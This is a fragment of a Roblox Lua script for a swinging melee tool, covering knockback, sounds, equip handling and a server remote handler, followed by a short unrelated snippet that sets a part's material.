bv.maxForce = Vector3.new(math.huge, math.huge, math.huge)
bv.velocity = delta.unit * math.huge
bv.Parent = root
game:GetService("Debris"):AddItem(bv, 0.05)
Handle.Smack.Pitch = math.random(90, 110)/100
Handle.Smack.TimePosition = 0.15
Handle.Smack:Play()
end
end
end
end
function onEquip()
--put in our right arm
local char = Tool.Parent
local arm = Tool.ArmMesh:Clone()
arm.Parent = char:FindFirstChild("Right Arm")
ArmMesh = arm
end
function onUnequip()
if ArmMesh then
ArmMesh:Destroy()
ArmMesh = nil
end
end
function onLeftDown()
if not SwingAble then return end
SwingAble = false
delay(SwingRestTime, function()
SwingAble = true
end)
delay(HitWindup, function()
HitAble = true
delay(HitWindow, function()
HitAble = false
end)
end)
HitVictims = {}
Remote:FireClient(getPlayer(), "PlayAnimation", "Swing")
wait(0.25)
Handle.Boom.Pitch = math.random(80, 100)/100
Handle.Boom:Play()
if Handle.Touched:connect(onTouched) then
Handle.Scream:Play()
end
end
function onRemote(player, func, ...)
if player ~= getPlayer() then return end
if func == "LeftDown" then
onLeftDown(...)
end
end
Tool.Equipped:connect(onEquip)
Tool.Unequipped:connect(onUnequip)
Handle.Touched:connect(onTouched)
Remote.OnServerEvent:connect(onRemote)
|
---------------------
|
colorchangingpart.Transparency = 0
colorchangingpart.Material = Enum.Material.Grass -- set this to the material you want the part to be
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.